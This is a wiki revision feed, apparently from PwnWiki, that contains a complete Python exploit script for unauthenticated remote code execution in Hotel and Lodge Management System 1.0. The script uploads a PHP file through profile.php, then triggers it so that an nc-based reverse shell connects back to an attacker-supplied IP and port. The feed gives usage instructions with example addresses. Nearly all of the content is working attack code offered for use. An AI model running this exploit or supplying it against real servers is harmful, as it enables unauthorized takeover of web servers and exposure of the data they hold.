<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Hotel_and_Lodge_Management_System_1.0_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>Hotel and Lodge Management System 1.0 未經身份驗證遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Hotel_and_Lodge_Management_System_1.0_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Hotel_and_Lodge_Management_System_1.0_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-08T21:08:06Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Hotel_and_Lodge_Management_System_1.0_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=641&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Hotel and Lodge Management System 1.0 - Remote Code Execution (Unauthenticated) # Date: 07-03-2021 # Exploit Author: Christian Vierschilling # V...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Hotel_and_Lodge_Management_System_1.0_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=641&amp;oldid=prev"/>
		<updated>2021-03-23T03:04:00Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Hotel and Lodge Management System 1.0 - Remote Code Execution (Unauthenticated) # Date: 07-03-2021 # Exploit Author: Christian Vierschilling # V...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Hotel and Lodge Management System 1.0 - Remote Code Execution (Unauthenticated)&lt;br /&gt;
# Date: 07-03-2021&lt;br /&gt;
# Exploit Author: Christian Vierschilling&lt;br /&gt;
# Vendor Homepage: https://www.sourcecodester.com&lt;br /&gt;
# Software Link: https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html&lt;br /&gt;
# Version: 1.0&lt;br /&gt;
# Tested on: PHP 7.4.14, Linux x64_x86&lt;br /&gt;
&lt;br /&gt;
# --- Description --- #&lt;br /&gt;
&lt;br /&gt;
# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.&lt;br /&gt;
# Executing this script against a target might return a reverse php shell.&lt;br /&gt;
&lt;br /&gt;
# --- Proof of concept --- #&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
import random&lt;br /&gt;
import sys&lt;br /&gt;
import requests&lt;br /&gt;
from requests_toolbelt.multipart.encoder import MultipartEncoder&lt;br /&gt;
&lt;br /&gt;
def file_upload(target_ip, attacker_ip, attacker_port):&lt;br /&gt;
  print(&amp;quot;(+) Setting up reverse shell php file ..&amp;quot;)&lt;br /&gt;
  random_file_name = str(random.randint(100000, 999999)) + &amp;quot;revshell.php&amp;quot;&lt;br /&gt;
  revshell_string = '&amp;lt;?php exec(&amp;quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc {} {} &amp;gt;/tmp/f&amp;quot;); ?&amp;gt;'.format(attacker_ip, attacker_port)&lt;br /&gt;
  m = MultipartEncoder(fields={'image': (random_file_name, revshell_string, 'application/x-php'),'btn_update':''})&lt;br /&gt;
  print(&amp;quot;(+) Trying to upload it ..&amp;quot;)&lt;br /&gt;
  r1 = requests.post('http://{}/hotel/source code/profile.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})&lt;br /&gt;
  r2 = requests.get('http://{}/hotel/source code/uploadImage/Profile/'.format(target_ip))&lt;br /&gt;
  if random_file_name in r2.text:&lt;br /&gt;
    print(&amp;quot;(+) File upload seems to have been successful!&amp;quot;)&lt;br /&gt;
    return random_file_name&lt;br /&gt;
  else:&lt;br /&gt;
    print(&amp;quot;(-) Oh noes, file upload failed .. quitting!&amp;quot;)&lt;br /&gt;
    exit()&lt;br /&gt;
&lt;br /&gt;
def trigger_shell(target_ip, random_file_name):&lt;br /&gt;
  print(&amp;quot;(+) Now trying to trigger our shell..&amp;quot;)&lt;br /&gt;
  r3 = requests.get('http://{}/hotel/source code/uploadImage/Profile/{}'.format(target_ip, random_file_name))&lt;br /&gt;
  return None&lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
  if len(sys.argv) != 4:&lt;br /&gt;
    print('(+) usage: %s &amp;lt;target ip&amp;gt; &amp;lt;attacker ip&amp;gt; &amp;lt;attacker port&amp;gt;' % sys.argv[0])&lt;br /&gt;
    print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])&lt;br /&gt;
    sys.exit(-1)&lt;br /&gt;
&lt;br /&gt;
  target_ip = sys.argv[1]&lt;br /&gt;
  attacker_ip = sys.argv[2]&lt;br /&gt;
  attacker_port = sys.argv[3]&lt;br /&gt;
&lt;br /&gt;
  revshell_file_name = file_upload(target_ip, attacker_ip, attacker_port)&lt;br /&gt;
  trigger_shell(target_ip, revshell_file_name)&lt;br /&gt;
  print(&amp;quot;\n(+) done!&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
  main()&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>